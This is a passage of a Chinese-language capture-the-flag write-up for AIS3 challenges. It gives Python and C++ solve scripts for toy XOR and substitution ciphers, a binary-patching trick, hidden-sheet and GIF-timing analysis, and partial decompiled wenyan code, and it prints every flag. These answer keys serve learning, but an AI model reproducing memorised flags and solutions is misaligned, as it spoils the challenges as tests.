wakuwakuwaku:</span><br><span class="line">    <span class="built_in">print</span>(sc[i],end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"><span class="comment">#AIS3&#123;s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack&#125;</span></span><br></pre></td></tr></table></figure><p>FLAG:<code>AIS3&#123;s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack&#125;</code></p><h2 id="Fast-Cipher-100-baby"><a href="#Fast-Cipher-100-baby" class="headerlink" title="Fast Cipher [100] [baby]"></a>Fast Cipher [100] [baby]</h2><div class="note default flat"><p><img src="https://i.imgur.com/vCc85Hh.png"><br>Author: maple3142</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/1bkwIfXNl9e3AaoltnvFGb0VEvOTMtd2D/view?usp=sharing">https://drive.google.com/file/d/1bkwIfXNl9e3AaoltnvFGb0VEvOTMtd2D/view?usp=sharing</a></p></blockquote><p>這題內容是一個加密用<code>cipher.py</code>與其<code>output.txt</code>，來看看 source code:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> secrets <span class="keyword">import</span> randbelow</span><br><span class="line"></span><br><span class="line">M = <span class="number">2</span>**<span class="number">1024</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">f</span>(<span class="params">x</span>):</span><br><span class="line">    <span class="comment"># this is a *fast* function</span></span><br><span class="line">    <span class="keyword">return</span> (</span><br><span class="line">        <span class="number">4</span> * x**<span class="number">4</span> + <span class="number">8</span> * x**<span class="number">8</span> + <span class="number">7</span> * x**<span class="number">7</span> + <span class="number">6</span> * x**<span class="number">6</span> + <span class="number">3</span> * x**<span class="number">3</span> + <span class="number">0x48763</span></span><br><span class="line">    ) % M</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">encrypt</span>(<span class="params">pt, key</span>):</span><br><span class="line">    ct = []</span><br><span class="line">    <span class="keyword">for</span> c <span class="keyword">in</span> pt:</span><br><span class="line">        ct.append(c ^ (key &amp; <span class="number">0xFF</span>))</span><br><span class="line">        key = f(key)</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(ct)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    key = randbelow(M)</span><br><span class="line">    ct = encrypt(<span class="built_in">open</span>(<span class="string">&quot;flag.txt&quot;</span>, <span class="string">&quot;rb&quot;</span>).read().strip(), key)</span><br><span class="line">    <span class="built_in">print</span>(ct.<span class="built_in">hex</span>())</span><br></pre></td></tr></table></figure><p>可以發現他不斷將<code>key</code>迭代到<code>f(x)</code>裡面後再與原始 flag 進行 xor，得到加密後的 output。</p><p>此時觀察 encrypt function，它在取<code>key</code>時用了<code>&amp;0xff</code>，表示只取<code>key</code>的最後兩位進行 xor 運算，透過 flag format<code>AIS3&#123;…&#125;</code>可以推出第一個<code>key</code>為<code>0x6c^65=0x2d</code>，接著觀察 <code>f(x)</code>，它代入一個多項式後再<code>%</code>$2^{1024}$<code>=0x100…00</code>，迭代效率很低，但因為只取最後兩位，且<code>%</code>之尾數為<code>0</code>表示不影響最後兩位結果，所以可以直接代入多項式後取最後兩位 xor。</p><p>寫 code 即可解出 flag:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">key=[<span class="number">0x2d</span>]</span><br><span class="line"></span><br><span class="line">ff=[<span class="number">0x6c</span>,<span class="number">0x0e</span>,<span class="number">0xc8</span>,<span class="number">0x40</span>,<span class="number">0xf8</span>,<span class="number">0x8d</span>,<span class="number">0x4c</span>,<span class="number">0xd7</span>,<span class="number">0xfc</span>,<span class="number">0xc6</span>,<span class="number">0xd5</span>,<span class="number">0xc6</span>,<span class="number">0xd1</span>,<span class="number">0xda</span>,<span class="number">0xfc</span>,<span class="number">0xc1</span>,<span class="number">0xca</span>,<span class="number">0xd7</span>,<span class="number">0xd0</span>,<span class="number">0xfc</span>,<span class="number">0xc2</span>,<span class="number">0xd1</span>,<span class="number">0xc6</span>,<span class="number">0xfc</span>,<span class="number">0xd6</span>,<span class="number">0xd0</span>,<span class="number">0xc6</span>,<span class="number">0xc7</span>,<span class="number">0xfc</span>,<span class="number">0xcf</span>,<span class="number">0xcc</span>,<span class="number">0xcf</span>,<span class="number">0xde</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">f</span>(<span class="params">x</span>):</span><br><span class="line">    <span class="keyword">return</span> (</span><br><span class="line">        <span class="number">4</span> * x**<span class="number">4</span> + <span class="number">8</span> * x**<span class="number">8</span> + <span class="number">7</span> * x**<span class="number">7</span> + <span class="number">6</span> * x**<span class="number">6</span> + <span class="number">3</span> * x**<span class="number">3</span> + <span class="number">0x48763</span></span><br><span class="line">    ) &amp; <span class="number">0xff</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">50</span>):</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">chr</span>(key[i]^ff[i]),end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">    key.append(f(key[i]))</span><br></pre></td></tr></table></figure><p>FLAG:<code>AIS3&#123;not_every_bits_are_used_lol&#125;</code></p><h1 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h1><h2 id="Excel-100-baby"><a href="#Excel-100-baby" class="headerlink" title="Excel [100] [baby]"></a>Excel [100] [baby]</h2><div class="note default flat"><p>Don’t worry, this is not a real virus…<br>Author: lys0829</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/12dOYZhOIgCRudHczsikOUBUPZFyP8nrJ/view?usp=sharing">https://drive.google.com/file/d/12dOYZhOIgCRudHczsikOUBUPZFyP8nrJ/view?usp=sharing</a></p></blockquote><p>這題單純給了一個.xlsm 檔，使用 Microsoft Office 文件檢查功能之後可以發現有隱藏工作表，因此全部展開，發現<code>isFki</code>裡面有一串公式，將 excel 轉換字體顏色後發現執行為<code>TRUE</code>，將外圍 FORMULA 去掉後關掉顯示公式查看公式內容即可得到 flag。</p><p><img src="https://i.imgur.com/y34cqIJ.jpg"></p><p>FLAG:<code>AIS3&#123;XLM_iS_to0_o1d_but_co0o0o00olll!!&#125;</code></p><h2 id="Gift-in-the-dream-100-medium"><a href="#Gift-in-the-dream-100-medium" class="headerlink" title="Gift in the dream [100] [medium]"></a>Gift in the dream [100] [medium]</h2><div class="note default flat"><p>Someone send you his dream. Maybe he is trying to tell you a message.<br>update 1: flag 在<em>l33t</em>前是通順的句子。<br>update 2: Fixed typo in flag, please download the updated version<br>Author: bronson113</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/1OOF36yj53MSXs2-Z-5x1dJivlz25UoLY/view?usp=sharing">https://drive.google.com/file/d/1OOF36yj53MSXs2-Z-5x1dJivlz25UoLY/view?usp=sharing</a></p></blockquote><p>這題是一個 gif 檔，一開始用了不少工具分析，其中使用 strings 指令的結果發現裡面提示到<code>why is the animation lagging? why is the duration so weird? is this just a dream?</code>的部分，因此開始往這個方向走，上網查到了<a href="https://gifduration.herokuapp.com/">gif duration tool</a>，切開後發現其毫秒時間間隔不一且形同<code>ASCII code</code>(去掉尾 0)，將其解密後即可得到正確的 flag。</p><p>P.S.一開始用了一個爛掉的工具得到錯誤的 flag…</p><p><img src="https://i.imgur.com/Ug3wG7B.jpg"></p><p>FLAG:<code>AIS3&#123;5T3gn0gR4pHy_c4N_b3_fUn_s0m37iMe&#125;</code></p><h1 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h1><h2 id="Time-Management-100-baby"><a href="#Time-Management-100-baby" class="headerlink" title="Time Management [100] [baby]"></a>Time Management [100] [baby]</h2><h3 id="Solution-1"><a href="#Solution-1" class="headerlink" title="Solution 1"></a>Solution 1</h3><div class="note default flat"><p>Free flag for you : )<br>Author: artis24106</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/11_Q8SqsPWEm67iAc2Xbpjvi4tK-Q0Fcn/view?usp=sharing">https://drive.google.com/file/d/11_Q8SqsPWEm67iAc2Xbpjvi4tK-Q0Fcn/view?usp=sharing</a></p></blockquote><p>這題給了一個 binary，用 IDA Pro 開啟分析<code>main function</code>可以發現它將指定位置<code>4*(i+1)</code>(此位置為 flag 每四位 hex number 的後一位數字)的<code>key</code>與<code>secret</code>每位 xor 後用 for 迴圈輸出，所以這部分可以手動處理 xor 後即可得到 flag。</p><p><img src="https://i.imgur.com/D7vn78o.jpg"></p><p>我們也可以寫 code 來解決他，首先在 IDA Pro 裡<code>shift+E</code>提出<code>key</code>跟<code>secret</code>陣列，接著一一 xor 即可(但要記得把陣列位置算好.w.)。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> secret[<span class="number">100</span>]=&#123;</span><br><span class="line">   <span class="number">70</span>,  <span class="number">65</span>,  <span class="number">75</span>,  <span class="number">69</span>,  <span class="number">11</span>,   <span class="number">0</span>,   <span class="number">0</span>,   <span class="number">0</span>, <span class="number">123</span>, <span class="number">104</span>,</span><br><span class="line">  <span class="number">111</span>, <span class="number">111</span>,  <span class="number">10</span>,   <span class="number">0</span>,   <span class="number">0</span>,   <span class="number">0</span>, <span class="number">114</span>,  <span class="number">97</span>, <span class="number">121</span>,  <span class="number">95</span>,</span><br><span class="line">    <span class="number">2</span>,   <span class="number">0</span>,   <span class="number">0</span>,   <span class="number">0</span>, <span class="number">115</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>,   <span class="number">8</span>,   <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,   <span class="number">0</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">115</span>,  <span class="number">95</span>,   <span class="number">6</span>,   <span class="number">0</span>,   <span class="number">0</span>,   <span class="number">0</span>,</span><br><span class="line">  <span class="number">105</span>, <span class="number">115</span>,  <span class="number">95</span>,  <span class="number">97</span>,   <span class="number">5</span>,   <span class="number">0</span>,   <span class="number">0</span>,   <span class="number">0</span>, <span class="number">108</span>, <span class="number">119</span>,</span><br><span class="line">   <span class="number">97</span>, <span class="number">121</span>,   <span class="number">7</span>,   <span class="number">0</span>,   <span class="number">0</span>,   <span class="number">0</span>, <span class="number">115</span>,  <span class="number">95</span>,  <span class="number">97</span>, <span class="number">110</span>,</span><br><span class="line">    <span class="number">4</span>,   <span class="number">0</span>,   <span class="number">0</span>,   <span class="number">0</span>,  <span class="number">95</span>, <span class="number">117</span>, <span class="number">115</span>, <span class="number">101</span>,   <span class="number">9</span>,   <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,   <span class="number">0</span>, <span class="number">102</span>, <span class="number">117</span>, <span class="number">108</span>,  <span class="number">95</span>,   <span class="number">0</span>,   <span class="number">0</span>,   <span class="number">0</span>,   <span class="number">0</span>,</span><br><span class="line">   <span class="number">99</span>, <span class="number">111</span>, <span class="number">109</span>, <span class="number">109</span>,   <span class="number">1</span>,   <span class="number">0</span>,   <span class="number">0</span>,   <span class="number">0</span>,  <span class="number">97</span>, <span class="number">110</span>,</span><br><span class="line">  <span class="number">100</span>, <span class="number">125</span>,   <span class="number">3</span>,   <span class="number">0</span>,   <span class="number">0</span>,   <span class="number">0</span></span><br><span class="line">&#125;;</span><br><span class="line"><span class="type">int</span> key[<span class="number">50</span>]=&#123;</span><br><span class="line">    <span class="number">1</span>,  <span class="number">16</span>,   <span class="number">1</span>,  <span class="number">58</span>,  <span class="number">13</span>,  <span class="number">27</span>,  <span class="number">76</span>,  <span class="number">76</span>,  <span class="number">45</span>,   <span class="number">0</span>,</span><br><span class="line">   <span class="number">11</span>,  <span class="number">58</span>,  <span class="number">64</span>,  <span class="number">79</span>,  <span class="number">69</span>,   <span class="number">0</span>,  <span class="number">26</span>,  <span class="number">50</span>,   <span class="number">4</span>,  <span class="number">49</span>,</span><br><span class="line">   <span class="number">29</span>,  <span class="number">22</span>,  <span class="number">45</span>,  <span class="number">62</span>,  <span class="number">49</span>,  <span class="number">10</span>,  <span class="number">18</span>,  <span class="number">44</span>,   <span class="number">3</span>,  <span class="number">17</span>,</span><br><span class="line">   <span class="number">62</span>,  <span class="number">13</span>,  <span class="number">44</span>,   <span class="number">0</span>,  <span class="number">26</span>,  <span class="number">12</span>,  <span class="number">50</span>,  <span class="number">20</span>,  <span class="number">29</span>,   <span class="number">4</span>,</span><br><span class="line">    <span class="number">0</span>,  <span class="number">49</span>,   <span class="number">0</span>,  <span class="number">26</span>,   <span class="number">7</span>,   <span class="number">8</span>,  <span class="number">24</span>, <span class="number">118</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">96</span>;i+=<span class="number">8</span>)&#123;</span><br><span class="line"><span class="type">int</span> v1=secret[i+<span class="number">4</span>]*<span class="number">4</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> j=<span class="number">0</span>;j&lt;<span class="number">4</span>;j++)&#123;</span><br><span class="line">cout&lt;&lt;<span class="built_in">char</span>(secret[i+j]^key[v1+j]);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//AIS3&#123;You_are_the_master_of_time_management!!!!!&#125;</span></span><br></pre></td></tr></table></figure><p>FLAG:<code>AIS3&#123;You_are_the_master_of_time_manangement!!!!!&#125;</code></p><h3 id="Solution-2"><a href="#Solution-2" class="headerlink" title="Solution 2"></a>Solution 2</h3><p>這題也可以用 patch program 的方法解決，它印不出 flag 的主要原因是<code>main function</code>中的<code>sleep(0x8763)</code>間隔過久，所以我們只要把<code>sleep</code>的時間 patch 成<code>0</code>即可，這裡注意一下最後的輸出部分，<code>\r</code>會把游標移到最前方並將所有先前輸出洗掉，因此這裡也要 patch，完成後覆寫掉原檔案執行即可得到 flag。</p><p><img src="https://i.imgur.com/CXTA20V.jpg"></p><p><img src="https://i.imgur.com/vCCGCRj.jpg"></p><h2 id="Calculator-301-easy-NET"><a href="#Calculator-301-easy-NET" class="headerlink" title="Calculator [301] [easy][.NET]"></a>Calculator [301] [easy][.NET]</h2><div class="note default flat"><p>I built a simple calculator, although it has a lot of bugs :P<br>Author: LJP-TW</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/1lKgN9AtkAT55lgY8qeJJP9L9awhOKAD4/view?usp=sharing">https://drive.google.com/file/d/1lKgN9AtkAT55lgY8qeJJP9L9awhOKAD4/view?usp=sharing</a></p></blockquote><p>這題應該可以算是去年的考古題，也是 .NET 的題目，我一樣使用 dnSpy 來分析它，<code>calculator.exe</code>的部分沒有發現甚麼除了計算機之外的其他功能，在<code>extentions</code>的部分發現了四個可疑的<code>.dll</code>檔(<code>AIS3.dll</code>、<code>AIS33.dll</code>、<code>AIS333.dll</code>、<code>AIS3333.dll</code>)，打開看發現裡面應該是輸出 flag 的條件，只有一些 xor 跟特殊位置的個別限制，也是使用手動的方法把 flag 打出來即可。</p><p><img src="https://i.imgur.com/mJbCVZG.jpg"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">INDEX   0123456789012345678901234567890123456789012345</span><br><span class="line">AIS3    AIS3&#123;          A                             &#125;</span><br><span class="line">AIS33       &#123;D                                    G_G&#125;</span><br><span class="line">AIS333       D0T_N3T_FRAm3W0rk                  __</span><br><span class="line">AIS3333                      k_15_S0_C0mPlicaT3d</span><br><span class="line">        AIS3&#123;D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G&#125;</span><br></pre></td></tr></table></figure><p>FLAG:<code>AIS3&#123;D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G&#125;</code></p><h2 id="殼-463-easy"><a href="#殼-463-easy" class="headerlink" title="殼 [463] [easy]"></a>殼 [463] [easy]</h2><div class="note default flat"><p><img src="https://i.imgur.com/kMJqsse.jpg"><br>Author: artis24106</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/1C_Q7RbdQufeyZyOMNG2eQ9w4vd4o--1l/view?usp=sharing">https://drive.google.com/file/d/1C_Q7RbdQufeyZyOMNG2eQ9w4vd4o--1l/view?usp=sharing</a></p></blockquote><p>這題給了一個不知名的<code>.wy</code>檔，上網查了一下是文言文編程語言，利用<a href="https://github.com/wenyan-lang/wenyan%E7%9A%84%E6%8C%87%E4%BB%A4wenyan">github 上的工具</a><code>wenyan --compile 殼.wy</code>可將其轉換為較易讀(?)的 javascript。剩下的部分就是讀懂 code 內容了 😵。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*___wenyan_module_恆常_start___*/</span></span><br><span class="line"><span class="keyword">var</span> 恆常 = <span class="keyword">new</span> <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> 大 = <span class="variable language_">this</span>.大 = <span class="string">&quot;輸入「助」以獲得更多幫助&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> 笆 = <span class="variable language_">this</span>.笆 = <span class="string">&quot;/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> 斯 = <span class="variable language_">this</span>.斯 = <span class="string">&quot;k5aRmv==&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> 啟 = <span class="variable language_">this</span>.啟 = <span class="string">&quot;5KTMx8XKxf==&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> 魠 = <span class="variable language_">this</span>.魠 = <span class="string">&quot;kv==&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> 歷 = <span class="variable language_">this</span>.歷 = <span class="string">&quot;5KSS&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> 託 = <span class="variable language_">this</span>.託 = <span class="string">&quot;幫助幫助幫助幫助幫助幫助&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> 師 = <span class="variable language_">this</span>.師 = <span 